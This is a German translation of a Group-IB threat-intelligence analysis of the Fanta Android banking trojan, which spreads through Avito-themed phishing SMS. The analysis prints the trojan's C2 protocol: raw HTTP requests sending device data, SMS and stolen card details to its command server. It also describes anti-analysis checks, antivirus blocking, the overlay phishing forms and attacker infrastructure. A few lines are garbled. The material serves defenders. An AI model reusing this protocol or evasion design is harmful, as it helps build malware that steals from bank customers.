
Eines Tages werden Sie etwas auf Avito verkaufen wollen und nachdem Sie eine ausführliche Beschreibung Ihres Produkts (zum Beispiel, ein RAM-Modul) veröffentlicht haben, erhalten Sie folgendes Nachricht:
Wenn Sie den Link öffnen, sehen Sie eine auf den ersten Blick ziemlich harmlose Seite, die Sie, den glücklichen und erfolgreichen Verkäufer, über einen Kauf informiert:

Nachdem Sie auf die Schaltfläche „Fortfahren“ geklickt haben, wird eine APK-Datei mit einem vertrauenswürdigen Symbol und Namen auf Ihr Android-Gerät heruntergeladen. Sie haben die App installiert, die aus irgendeinem Grund nach Zugriffsrechten für AccessibilityService gefragt hat, dann erschienen und verschwanden schnell ein paar Fenster und… Das war's.
Sie gehen, um Ihr Guthaben zu überprüfen, aber Ihre Banking-App fragt aus irgendeinem Grund erneut nach den Daten Ihrer Karte. Nach der Eingabe der Daten geschieht das Schreckliche: Aus einem für Sie noch unverständlichen Grund beginnen die Gelder von Ihrem Konto zu verschwinden. Sie versuchen, das Problem zu lösen, aber Ihr Telefon wehrt sich: Es drückt selbst die Tasten „Zurück“ und „Start“, schaltet sich nicht aus und lässt keine Sicherheitsmaßnahmen aktivieren. Am Ende sind Sie ohne Geld, Ihr Produkt wurde nicht verkauft, Sie sind verwirrt und fragen sich: Was ist passiert?
Die Antwort ist einfach: Sie sind Opfer des Android-Trojaners Fanta, einer Variante der Flexnet-Familie. Wie ist das passiert? Das erklären wir Ihnen jetzt.
Autoren: Andrej Polovinkin, Junior Malwarespezialist, Ivan Pisarev, Malwarespezialist.
Ein wenig Statistik
Das erste Mal wurde die Familie der Android-Trojaner Flexnet im Jahr 2015 bekannt. Über einen durchaus langen Zeitraum hat sich die Familie auf mehrere Varianten erweitert: Fanta, Limebot, Lipton usw. Der Trojaner und die damit verbundene Infrastruktur stehen nicht still: Es werden neue effektive Verbreitungsschemata entwickelt – in unserem Fall qualitativ hochwertige Phishing-Seiten, die auf einen bestimmten Benutzer-Verkäufer abzielen, und die Entwickler des Trojaners folgen den Modetrends des Virusdesigns – sie fügen neue Funktionalitäten hinzu, die es ermöglichen, effektiver Geld von infizierten Geräten zu stehlen und Sicherheitsmechanismen zu umgehen.
Die in diesem Artikel beschriebene Kampagne zielt auf Nutzer in Russland ab, eine geringe Anzahl infizierter Geräte wurde in der Ukraine festgestellt, noch weniger in Kasachstan und Weißrussland.
Trotz der Tatsache, dass Flexnet seit über 4 Jahren auf der Bühne der Android-Trojaner präsent ist und von vielen Forschern eingehend untersucht wurde, ist es immer noch in guter Form. Seit Januar 2019 beläuft sich der potenzielle Gesamtschaden auf über 35 Millionen Rubel – und das gilt nur für Kampagnen in Russland. Im Jahr 2015 wurden verschiedene Versionen dieses Android-Trojaners auf Underworld-Foren verkauft, wo auch der Quellcode des Trojaners mit einer detaillierten Beschreibung zu finden war. Das bedeutet, dass die Schadensstatistik weltweit noch beeindruckender ist. Eine respektable Zahl für so ein altes Stück, nicht wahr?

Vom Verkauf bis zum Betrug
Wie aus dem zuvor dargestellten Screenshot der Phishing-Seite für den Internetdienst zur Anzeigenschaltung Avito ersichtlich ist, wurde sie gezielt für ein bestimmtes Opfer vorbereitet. Anscheinend verwenden die Angreifer einen der Avito-Parser, der die Telefonnummer und den Namen des Verkäufers sowie die Produktbeschreibung extrahiert. Nach dem Laden der Seite und der Vorbereitung der APK-Datei erhält das Opfer eine SMS mit seinem Namen und einem Link zur Phishing-Seite, die eine Beschreibung seines Produkts und einen Betrag, der mit dem "Verkauf" des Produkts erzielt wurde, enthält. Wenn der Benutzer auf die Schaltfläche klickt, erhält er die schädliche APK-Datei – Fanta.
Die Untersuchung der Domain shcet491[.]ru ergab, dass sie auf die DNS-Server des Unternehmens Hostinger delegiert ist:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
Die Zonen-Datei der Domain enthält Einträge, die auf IP-Adressen 31.220.23[.]236, 31.220.23[.]243 und 31.220.23[.]235 hinweisen. Jedoch zeigt der Hauptressourceneintrag der Domain (A-Eintrag) auf einen Server mit der IP-Adresse 178.132.1[.]240.
Die IP-Adresse 178.132.1[.]240 befindet sich in den Niederlanden und gehört zum Hosting-Anbieter WorldStream. Die IP-Adressen 31.220.23[.]235, 31.220.23[.]236 und 31.220.23[.]243 befinden sich im Vereinigten Königreich und gehören dem virtuellen Hosting-Provider HOSTINGER. Der Registrar ist openprov-ru. Auf die IP-Adresse 178.132.1[.]240 wiesen auch die folgenden Domains hin:
- sdelka-ru[.]ru
- tovar-av[.]ru
- av-tovar[.]ru
- ru-sdelka[.]ru
- shcet382[.]ru
- sdelka221[.]ru
- sdelka211[.]ru
- vyplata437[.]ru
- viplata291[.]ru
- perevod273[.]ru
- perevod901[.]ru
Es sollte angemerkt werden, dass fast von allen Domains Links im folgenden Format verfügbar waren:
http://(www.){0,1}/[0-9]{7}
Dieses Muster umfasst auch den Link aus der SMS. Historischen Daten zufolge wurde festgestellt, dass mehreren Links das oben beschriebene Muster für eine einzelne Domain entspricht, was auf die Verwendung einer Domain zur Verbreitung des Trojaners an mehrere Opfer hinweist.
Lassen Sie uns etwas vorausblicken: Als Steuerserver verwendet der über den SMS-Link heruntergeladene Trojaner die Adresse onuseseddohap[.]club. Diese Domain wurde am 12.03.2019 registriert, und seit dem 29.04.2019 fand eine Interaktion von APK-Anwendungen mit dieser Domain statt. Basierend auf den von VirusTotal erhaltenen Daten haben insgesamt 109 Anwendungen mit diesem Server interagiert. Die Domain wurde auf die IP-Adresse 217.23.14[.]27, die in den Niederlanden liegt und dem Hoster gehört, aufgelöst. WorldStreamAls Registrar wird namecheapverwendet. Auf diese IP-Adresse wurden auch die Domains bad-racoon[.]club (seit dem 25.09.2018) und bad-racoon[.]live (seit dem 25.10.2018) aufgelöst. Mit der Domain bad-racoon[.]club hatten über 80 APK-Dateien Kontakt, mit bad-racoon[.]live — über 100.
Insgesamt sieht der Angriff folgendermaßen aus:

Was verbirgt sich unter der Haube von Fanta?
Wie viele andere Android-Trojaner kann Fanta SMS-Nachrichten lesen und senden, USSD-Anfragen durchführen und eigene Fenster über Anwendungen (einschließlich Bankanwendungen) anzeigen. Allerdings hat die Funktionalität dieser Familie Zuwachs erhalten: Fanta begann, AccessibilityService für verschiedene Zwecke zu nutzen: Lesen des Inhalts von Benachrichtigungen anderer Anwendungen, Verhindern der Entdeckung und Beendigung der Ausführung des Trojaners auf dem infizierten Gerät usw. Fanta funktioniert auf allen Android-Versionen ab 4.4. In diesem Artikel werden wir uns näher mit folgendem Fanta-Muster befassen:
- MD5: 0826bd11b2c130c4c8ac137e395ac2d4
- SHA1: ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256: df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
Unmittelbar nach dem Start
Sofort nach dem Start versteckt der Trojaner sein Symbol. Die Funktionalität der Anwendung ist nur gegeben, wenn der Name des infizierten Gerätes nicht in der Liste enthalten ist:
- android_x86
- VirtualBox
- Nexus 5X(bullhead)
- Nexus 5(razor)
Diese Überprüfung erfolgt im Hauptdienst des Trojaners — MainService. Bei der ersten Ausführung findet die Initialisierung der Konfigurationsparameter des Programms mit Standardwerten statt (genaueres zum Format der Speicherung der Konfigurationsdaten und deren Bedeutung wird später erläutert), sowie die Registrierung des neuen infizierten Gerätes beim Steuerserver. An den Server wird eine HTTP POST-Anfrage mit dem Nachrichtentyp register_bot und Informationen zum infizierten Gerät (Android-Version, IMEI, Telefonnummer, Name des Betreibers und Code des Landes, in dem der Betreiber registriert ist) gesendet. Die Steueradresse ist hXXp://onuseseddohap[.]club/controller.php. Der Server sendet eine Nachricht zurück, die Felder enthält bot_id, bot_pwd, server — diese Werte speichert die Anwendung als Parameter des CnC-Servers. Parameter server optional, wenn das Feld nicht empfangen wurde: Fanta verwendet die Registrierungsadresse — hXXp://onuseseddohap[.]club/controller.php. Die Funktion zur Änderung der CnC-Adresse kann verwendet werden, um zwei Aufgaben zu lösen: eine gleichmäßige Lastverteilung zwischen mehreren Servern (bei einer großen Anzahl infizierter Geräte kann die Last auf einem nicht optimierten Webserver hoch sein) und um einen alternativen Server im Falle eines Ausfalls eines der CnC-Server zu nutzen.
Wenn während der Anfrage ein Fehler auftritt, wird der Trojaner den Registrierungsprozess nach 20 Sekunden wiederholen.
Nach erfolgreicher Registrierung des Geräts zeigt Fanta dem Benutzer die folgende Nachricht an:

Wichtiger Hinweis: Der Dienst mit dem Namen Sicherheitssystem — ist der Name des Trojanerdienstes, und nach dem Drücken der Taste OK öffnet sich ein Fenster mit den Einstellungen für die Barrierefreiheit des infizierten Geräts, in dem der Benutzer selbst die Barrierefreiheitsrechte für den schädlichen Dienst gewähren muss:

Sobald der Benutzer aktiv wird AccessibilityService, erhält Fanta Zugriff auf den Inhalt der Anwendungsfenster und die darin durchgeführten Aktionen:

Sofort nach Erhalt der Barrierefreiheitsrechte fordert der Trojaner Administratorrechte und Leserechte für Benachrichtigungen an:

Mit Hilfe von AccessibilityService imitiert die Anwendung Tasteneingaben, wodurch sie sich alle notwendigen Rechte verschafft.
Fanta erstellt mehrere Instanzen von Datenbanken (die später beschrieben werden), die zur Speicherung der Konfigurationsdaten sowie der während des Prozesses gesammelten Informationen über das infizierte Gerät erforderlich sind. Um die gesammelten Informationen zu senden, erstellt der Trojaner eine wiederkehrende Aufgabe, die zum Abrufen von Feldern aus der Datenbank und zum Empfang von Befehlen vom Kontrollserver bestimmt ist. Das Intervall für den Zugriff auf CnC wird je nach Android-Version festgelegt: im Fall von 5.1 beträgt das Intervall 10 Sekunden, andernfalls 60 Sekunden.
Um einen Befehl zu erhalten, sendet Fanta die Anfrage GetTask an den Kontrollserver. Als Antwort kann CnC einen der folgenden Befehle senden:
| Team | Beschreibung |
|---|---|
| 0 | Eine SMS-Nachricht senden |
| 1 | Einen Anruf tätigen oder ein USSD-Kommando ausführen |
| 2 | Das Parameter Intervall |
| 3 | Das Parameter intercept |
| 6 | Das Parameter smsManager |
| 9 | Das Sammeln von SMS-Nachrichten beginnen |
| 11 | Das Telefon auf die Werkseinstellungen zurücksetzen |
| 12 | Aktivierung/Deaktivierung der Protokollierung der Erstellung von Dialogfenstern |
Fanta sammelt auch Benachrichtigungen von 70 Anwendungen von Banken, schnellen Zahlungssystemen und elektronischen Geldbörsen und speichert diese in einer Datenbank.
Speicherung von Konfigurationsparametern
Zur Speicherung von Konfigurationsparametern verwendet Fanta den Standardansatz für die Android-Plattform — Preferences-Dateien. Die Einstellungen werden in einer Datei mit dem Namen settingsgespeichert. Die Beschreibung der gespeicherten Parameter befindet sich in der Tabelle unten.
| Name | Standardwert | Mögliche Werte | Beschreibung |
|---|---|---|---|
| id | 0 | Integer | Bot-Identifikator |
| server | hXXp://onuseseddohap[.]club/ | URL | Adresse des Steuerservers |
| pwd | — | String | Passwort für den Server |
| Intervall | 20 | Integer | Zeitintervall. Zeigt an, um wie viel die Ausführung der nächsten Aufgaben verzögert werden soll:
|
| intercept | all | all/telNumber | Wenn das Feld dem String all oder telNumberentspricht, wird die empfangene SMS-Nachricht von der Anwendung abgefangen und dem Benutzer nicht angezeigt. |
| smsManager | 0 | 0/1 | Aktivierung/Deaktivierung der Anwendung als standardmäßigen SMS-Empfänger |
| readDialog | false | True/false | Aktivierung/Deaktivierung der Ereignisprotokollierung AccessibilityEvent |
Außerdem verwendet Fanta die Datei smsManager:
| Name | Standardwert | Mögliche Werte | Beschreibung |
|---|---|---|---|
| pckg | — | String | Name des verwendeten SMS-Manager |
Interaktion mit Datenbanken
Im Laufe ihrer Tätigkeit verwendet die Trojaner-Anwendung zwei Datenbanken. Die Datenbank mit dem Namen a wird verwendet, um verschiedene Informationen, die vom Telefon gesammelt wurden, zu speichern. Die zweite Datenbank trägt den Namen fanta.db und wird verwendet, um Einstellungen zu speichern, die für die Erstellung von Phishing-Fenstern verantwortlich sind, die darauf abzielen, Informationen über Bankkarten zu sammeln.
Der Trojaner verwendet die Datenbank a zum Speichern der gesammelten Informationen und zum Protokollieren seiner Aktivitäten. Die Daten werden in der Tabelle logsgespeichert. Um die Tabelle zu erstellen, wird die folgende SQL-Abfrage verwendet:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)Die Datenbank enthält folgende Informationen:
1. Protokollierung des Einschaltens des infizierten Geräts mit der Nachricht Das Telefon wurde eingeschaltet!
2. Benachrichtigungen von Anwendungen. Die Nachricht wird nach dem folgenden Muster erstellt:
():
3. Daten von Bankkarten aus von dem Trojaner erstellten Phishing-Formularen. Der Parameter VIEW_NAME kann einer der folgenden Werte sein:
- AliExpress
- Avito
- Google Play
- Verschiedenes
Die Nachricht wird im folgenden Format protokolliert:
[] ( ) Kartennummer:; Datum:/; CVV:
4. Eingehende/ausgehende SMS-Nachrichten im Format:
([] Typ: Eingehend/Ausgehend) :
5. Informationen über das Paket, das das Dialogfeld im Format erstellt:
()
Beispiel einer Tabelle logs:

Eine der Funktionalitäten von Fanta ist das Sammeln von Informationen über Bankkarten. Die Datensammlung erfolgt durch die Erstellung von Phishing-Fenstern beim Öffnen von Bankanwendungen. Der Trojaner erstellt das Phishing-Fenster nur einmal. Informationen darüber, dass das Fenster dem Benutzer angezeigt wurde, werden in einer Tabelle gespeichert settings in der Datenbank fanta.db. Für die Erstellung der Datenbank wird folgende SQL-Anweisung verwendet:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);Alle Felder der Tabelle settings werden standardmäßig mit dem Wert 1 (Phishing-Fenster erstellen) initialisiert. Nachdem der Benutzer seine Daten eingegeben hat, wird der Wert auf 0 gesetzt. Beispiel für die Felder der Tabelle settings:
- can_login — das Feld ist verantwortlich für die Anzeige des Formulars beim Öffnen der Bankanwendung
- first_bank — wird nicht verwendet
- can_avito — das Feld ist verantwortlich für die Anzeige des Formulars beim Öffnen der Avito-Anwendung
- can_ali — das Feld ist verantwortlich für die Anzeige des Formulars beim Öffnen der Aliexpress-Anwendung
- can_another — das Feld ist verantwortlich für die Anzeige des Formulars beim Öffnen einer beliebigen Anwendung aus folgender Liste: Юла, Pandao, Дром Авто, Кошелёк. Rabatt- und Bonuskarten, Aviasales, Booking, Trivago
- can_card — das Feld ist verantwortlich für die Anzeige des Formulars beim Öffnen von Google Play
Interaktion mit dem Steuerungsserver
Die Netzwerkinteraktion mit dem Steuerungsserver erfolgt über das HTTP-Protokoll. Für die Netzwerkarbeit verwendet Fanta die beliebte Bibliothek Retrofit. Anfragen werden an die Adresse gesendet hXXp://onuseseddohap[.]club/controller.php. Die Serveradresse kann bei der Registrierung auf dem Server geändert werden. Vom Server können Cookies zurückkommen. Fanta führt folgende Anfragen an den Server durch:
- Die Registrierung des Bots auf dem Steuerungsserver erfolgt einmal beim ersten Start. Die folgenden Daten über das infizierte Gerät werden an den Server gesendet:
· Cookie — erhaltene Cookies vom Server (Standardwert — leere Zeichenkette)
· Modus — string-Konstante register_bot
· prefix — ganzzahlige Konstante 2
· version_sdk — wird nach folgendem Muster erstellt: /(Avit)
· imei — IMEI des infizierten Geräts
· land — Ländercode, unter dem der Betreiber registriert ist, im ISO-Format
· number — Telefonnummer
· operator — Name des BetreibersBeispiel einer Anfrage, die an den Server gesendet wird:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=&imei=&country=&number=&operator=Als Antwort auf die Anfrage sollte der Server ein JSON-Objekt zurückgeben, das die folgenden Parameter enthält:
· bot_id — Identifikator des infizierten Geräts. Wenn bot_id gleich 0 ist, wird Fanta die Anfrage erneut ausführen.
· bot_pwd — Passwort für den Server.
· server — Adresse des Kontrollservers. Optionaler Parameter. Wenn dieser Parameter nicht angegeben ist, wird die Adresse verwendet, die in der Anwendung gespeichert ist.Beispiel eines JSON-Objekts:
{ "response":[ { "bot_id": , "bot_pwd": , "server": } ], "status":"ok" }
- Anfrage zum Abrufen eines Befehls vom Server. An den Server werden die folgenden Daten gesendet:
· Cookie — erhaltene Cookies vom Server
· bid — ID des infizierten Geräts, die bei der Anfrage erhalten wurde register_bot
· pwd — Passwort für den Server
· divice_admin — Feld, das angibt, ob Administratorrechte erhalten wurden. Wenn die Administratorrechte erhalten wurden, ist das Feld gleich 1, andernfalls 0
· Accessibility — Status des Accessibility-Dienstes. Wenn der Dienst gestartet wurde, ist der Wert gleich 1, andernfalls 0
· SMSManager — zeigt an, ob die Trojaner-Anwendung als Standardanwendung zum Empfang von SMS aktiviert ist
· Nun bleibt nur noch, den Bot zu starten. Um Prozesse auf dem Server zu starten, benutze ich gerne — zeigt an, in welchem Zustand sich der Bildschirm befindet. Der Wert wird festgelegt auf 1, wenn der Bildschirm eingeschaltet ist, andernfalls 0;Beispiel einer Anfrage, die an den Server gesendet wird:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=&pwd=&divice_admin=&Accessibility=&SMSManager=&screen=Je nach Befehl kann der Server ein JSON-Objekt mit unterschiedlichen Parametern zurückgeben:
· Team Eine SMS-Nachricht senden: In den Parametern sind die Telefonnummer, der Text der SMS-Nachricht und die ID der gesendeten Nachricht enthalten. Die ID wird beim Senden der Nachricht an den Server mit dem Typ setSmsStatus.
{ "response": [ { "mode": 0, "sms_number": , "sms_text": , "sms_id": %SMS_ID% } ], "status":"ok" }· Team Einen Anruf tätigen oder ein USSD-Kommando ausführen: Die Telefonnummer oder der Befehl wird im Antworttext übergeben.
{ "response": [ { "mode": 1, "command": } ], "status":"ok" }· Team Parameter interval ändern.
{ "response": [ { "mode": 2, "interval": } ], "status":"ok" }· Team Ändern Sie den Parameter intercept.
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/ } ], "status":"ok" }· Team Ändern Sie das Feld SmsManager.
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }· Team Sammeln von SMS-Nachrichten vom infizierten Gerät.
{ "response": [ { "mode": 9 } ], "status":"ok" }· Team Das Telefon auf die Werkseinstellungen zurücksetzen:
{ "response": [ { "mode": 11 } ], "status":"ok" }· Team Ändern Sie den Parameter ReadDialog.
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- Nachricht mit Typ senden setSmsStatus. Diese Anfrage wird nach der Ausführung des Befehls durchgeführt Eine SMS-Nachricht senden. Die Anfrage sieht folgendermaßen aus:
POST /controller.php HTTP/1.1
Cookie:
Content-Type: application/x-www-form-urlencoded
Host: onuseseddohap.club
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.6.0
mode=setSmsStatus& id=& status_sms=- Sendet den Inhalt der Datenbank. In einer Anfrage wird eine Zeile übermittelt. Folgende Daten werden an den Server gesendet:
· Cookie — erhaltene Cookies vom Server
· Modus — string-Konstante setSaveInboxSms
· bid — ID des infizierten Geräts, die bei der Anfrage erhalten wurde register_bot
· text — Text im aktuellen Datenbankeintrag (Feld d aus der Tabelle logs in der Datenbank a)
· number — Name des aktuellen Datenbankeintrags (Feld p aus der Tabelle logs in der Datenbank a)
· sms_mode — Ganzzahlwert (Feld m aus der Tabelle logs in der Datenbank a)Die Anfrage sieht folgendermaßen aus:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms& bid=& text=& number=& sms_mode=Bei erfolgreichem Senden an den Server wird die Zeile aus der Tabelle entfernt. Beispiel eines vom Server zurückgegebenen JSON-Objekts:
{ "response":[], "status":"ok" }
Interaktion mit AccessibilityService
AccessibilityService wurde implementiert, um die Nutzung von Android-Geräten für Menschen mit Behinderungen zu erleichtern. In den meisten Fällen ist für die Interaktion mit der Anwendung eine physische Interaktion erforderlich. AccessibilityService ermöglicht es, diese programmatisch durchzuführen. Fanta nutzt den Service, um gefälschte Fenster in Bankanwendungen zu erstellen und das Öffnen der Systemeinstellungen sowie bestimmter Anwendungen zu verhindern.
Mit den Funktionen von AccessibilityService verfolgt der Trojaner Änderungen an den Elementen auf dem Bildschirm des infizierten Geräts. Wie bereits beschrieben, enthält die Fanta-Einstellung einen Parameter, der für das Protokollieren von Vorgängen mit Dialogfenstern verantwortlich ist — readDialog. Wenn dieser Parameter aktiviert ist, werden Informationen über den Namen und die Beschreibung des Pakets, das das Ereignis ausgelöst hat, in die Datenbank hinzugefügt. Der Trojaner führt folgende Aktionen aus, wenn Ereignisse ausgelöst werden:
- Simuliert das Drücken der Tasten zurück und home im Fall von:
· wenn der Nutzer sein Gerät neu starten möchte
· wenn der Nutzer die App „Avito“ deinstallieren oder die Berechtigungen ändern möchte
· wenn es auf der Seite eine Erwähnung der App „Avito“ gibt
· bei Öffnung der App „Google Play Schutz“
· bei Öffnung der Seiten mit den Einstellungen des AccessibilityService
· bei Auftreten des Dialogfensters „System-Sicherheit“
· bei Öffnung der Seite mit den Einstellungen „Über andere Apps zeichnen“
· bei Öffnung der Seite „Apps“, „Wiederherstellung und Zurücksetzen“, „Daten zurücksetzen“, „Einstellungen zurücksetzen“, „Entwickleroptionen“, „Barrierefreiheit“, „Spezialfunktionen“, „Besondere Berechtigungen“
· wenn das Ereignis von bestimmten Apps generiert wurde.Liste der Apps
- android
- Master Lite
- Clean Master
- Clean Master für x86-CPU
- Meizu Anwendungsberechtigungsverwaltung
- MIUI Sicherheit
- Clean Master — Antivirus & Cache- und Junk-Bereinigung
- Elterliche Kontrolle und GPS: Kaspersky SafeKids
- Kaspersky Antivirus AppLock & Web Security Beta
- Virus Cleaner, Antivirus, Cleaner (MAX Security)
- Mobile Antivirus Sicherheit PRO
- Avast Antivirus & kostenlose Sicherung 2019
- Mobile Sicherheit für MegaFon
- AVG Schutz für Xperia
- Mobile Sicherheit
- Malwarebytes Antivirus & Schutz
- Antivirus für Android 2019
- Security Master — Antivirus, VPN, AppLock, Booster
- AVG Antivirus für das Huawei System Manager Tablet
- Samsung Barrierefreiheit
- Samsung Smart Manager
- Security Master
- Speed Booster
- Dr.Web
- Dr.Web Security Space
- Dr.Web Mobile Control Center
- Dr.Web Security Space Life
- Dr.Web Mobile Control Center
- Antivirus & Mobile Security
- Kaspersky Internet Security: Antivirus und Schutz
- Kaspersky Battery Life: Saver & Booster
- Kaspersky Endpoint Security — Schutz und Verwaltung
- AVG Antivirus kostenlos 2019 – Schutz für Android
- Antivirus Android
- Norton Mobile Security und Antivirus
- Antivirus, Firewall, VPN, mobile Sicherheit
- Mobile Sicherheit: Antivirus, VPN, Diebstahlprävention
- Antivirus für Android
- Wenn beim Senden einer SMS an eine Kurznummer eine Berechtigung angefordert wird, simuliert Fanta das Drücken des Kontrollkästchens Auswahl speichern und den Knopf senden.
- Beim Versuch, dem Trojaner Administratorrechte zu entziehen, wird der Bildschirm des Telefons gesperrt.
- Verhindert das Hinzufügen neuer Administratoren.
- Falls die Antivirus-App dr.web eine Bedrohung gefunden hat, simuliert Fanta das Drücken des Knopfes ignorieren.
- Der Trojaner simuliert das Drücken der Tasten zurück und home, wenn das Ereignis von der App Samsung Device Care.
- Fanta erstellt Phishing-Fenster mit Formularen zur Eingabe von Informationen zu Bankkarten, wenn eine Anwendung aus einer Liste gestartet wurde, die etwa 30 verschiedene Internetdienste umfasst. Dazu gehören: AliExpress, Booking, Avito, Google Play Markt, Pandao, Drom Auto und andere.
Phishing-Formulare
Fanta analysiert, welche Anwendungen auf dem infizierten Gerät gestartet werden. Wenn eine interessante Anwendung geöffnet wurde, zeigt der Trojaner ein Phishing-Fenster über allen anderen an, das ein Formular zur Eingabe von Informationen zur Bankkarte darstellt. Der Benutzer muss folgende Daten eingeben:
- Kartennummer
- Ablaufdatum der Karte
- CVV
- Name des Karteninhabers (nicht für alle Banken)
Je nach gestarteter Anwendung werden unterschiedliche Phishing-Fenster angezeigt. Im Folgenden werden einige Beispiele dafür präsentiert:
Aliexpress:

Avito:
Für einige andere Anwendungen, wie zum Beispiel Google Play Markt, Aviasales, Pandao, Booking, Trivago:

Wie es wirklich war
Glücklicherweise war die Person, die die eingangs des Artikels beschriebene SMS erhalten hatte, ein Spezialist für Cyber-Sicherheit. Daher unterscheidet sich die reale, nicht inszenierte Version von der zuvor erzählten: Die Person erhielt eine interessante SMS, die sie dann an das Team von Group-IB Threat Hunting Intelligence weiterleitete. Das Ergebnis des Angriffs ist dieser Artikel. Ein glückliches Ende, nicht wahr? Allerdings enden längst nicht alle Geschichten so glücklich, und um zu verhindern, dass Ihre wie die inszenierte Version mit Geldverlust aussieht, reicht es in den meisten Fällen aus, sich an die folgenden, lange bekannten Regeln zu halten:
- keine Anwendungen für mobile Geräte mit Android-Betriebssystem aus anderen Quellen als Google Play zu installieren
- bei der Installation der Anwendung besonders auf die angeforderten Berechtigungen zu achten
- auf die Erweiterungen heruntergeladener Dateien zu achten
- regelmäßig Android-Updates zu installieren
- keine verdächtigen Ressourcen zu besuchen und keine Dateien von dort herunterzuladen
- nicht auf Links zu klicken, die in SMS-Nachrichten erhalten werden.
Quelle: habr.com



